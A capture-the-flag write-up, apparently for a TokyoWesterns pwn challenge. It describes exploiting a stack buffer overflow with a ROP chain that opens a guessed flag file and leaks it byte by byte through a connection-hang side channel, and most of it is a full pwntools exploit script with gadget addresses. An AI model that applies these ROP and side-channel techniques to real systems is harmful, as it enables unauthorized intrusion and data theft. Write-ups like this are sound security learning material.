Rating: 5.0

## First glance

The vulnabality in this challenge is really strightforward, it's a buffer overflow and can be used to construct ROP chain.

## Start to solve

We can read a file into stack and then use to construct ROP chain, but the file must contain data we know or we are able to control it. The first thing come to my mind is the binary itself, but since we can't adjust the data it's hard to use.

After a while, another team member found that `/proc/self/fd/0` would be perfect to use in this case because we have fully control over the input, so I start to build ROP chain. But after I realize that before my ROP chain get executed, all input/output fd will be closed,and it means that I can't get any information by executing some function like puts().

So depressed.

I start to do some test on local, and found that even I closed fd 0 1 2, the connection won't break, so I came up with a idea: "Why don't we just build a ROP that can compare some byte of flag with our input, then hold or release the connection?", there's open(), lseek(), read(), and strchr() used for comparation and I've found some gadget to control rdi,rsi,rdx. I may not able to move open()'s return to rdi for lseek(), but since open() will always return the lowest not used fd number, in this case it will always be `0`.

It sounds feasible.

## A lucky guess

After I finished exploit script, I was scared to find that ./flag on remote is NOT EXIST.....

I tried to read `/proc/self/cmdline` to find some hint but found that files in `/proc` won't be able to lseek because their file length is -1.

Stucked.

Fortunately until 3 hours before ctf ends, one teammate guessed `./flag.txt` and got it right(!) then we start to guess flag byte-by-byte and finally leak the flag :)

## Exploit

```python
#!/usr/bin/env python
from pwn import *
import string

context.arch = 'amd64'
#context.log_level = 'DEBUG'
r = remote('pwn1.chal.ctf.westerns.tokyo', 34835)
#r = remote('localhost', 4000)

# 0x0000000000400a51 : mov edx, ebp ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
ctrl_edx = 0x400a51
pop_12_13_14_15 = 0x400a6c
pop_rsi_r15 = 0x400a71
pop_rdi = 0x400a73
readfile = 0x400940
open_plt = 0x400710
read_plt = 0x4006e8
strchr_plt = 0x4006d0
atoi_plt = 0x400718
lseek_plt = 0x4006d8
ret = 0x4006a9
pop_rbp = 0x400780
buf = 0x601e00
leave = 0x4008a7

# build a rop that if guessed wrong, program will trap into infinite loop
payload = flat(
0x40076a,
0, # rbp = 0
pop_rdi, 0x601058, # rdi = jmp_rax
atoi_plt, # rax = jmp_rax
0x400775
)

rop1_1 = flat(
1,
# open
pop_rdi,
0x601060,
pop_rsi_r15,
0,
0,
open_plt,

# lseek
pop_rbp,
0,
pop_12_13_14_15,
0x601050,
0,
0,
0,
ctrl_edx,
pop_rdi,
0,
pop_rsi_r15,
)

# first arg

rop1_2 = flat(
0,
lseek_plt,

# read
pop_rbp,
1,
pop_12_13_14_15,
0x601050,
0,
0,
0,
ctrl_edx,
pop_rdi,
0,
pop_rsi_r15,
buf,
0,
read_plt,

# strchr
pop_rdi,
buf,
pop_rsi_r15,
)

# second arg

rop1_3 = flat(
0,
strchr_plt
)

# try to open flag.txt and IT WORKS
# guess by strchr byte-by-byte, if guessed worng socket will hang, otherwise it will get EOF
# if someone know how to make this procedure automated please leave message below, thanks :)
byten = 0
ch = 'a'
r.sendafter('name: ', '/dev/fd/0\0'.ljust(0x10, 'A')+p64(pop_rbp)+'4196213\0'+'./flag.txt\0\n'.ljust(0x18,'A'))
r.sendlineafter('offset: ', '0')
r.sendlineafter('size: ', '1000')
r.send('A'*0x30+rop1_1+p64(byten)+rop1_2+p64(ord(ch))+rop1_3+payload)
r.interactive()
```

NoribenSept. 10, 2018, 1:49 a.m.

I couldn't solve this challenge.
Thanks for great writeup.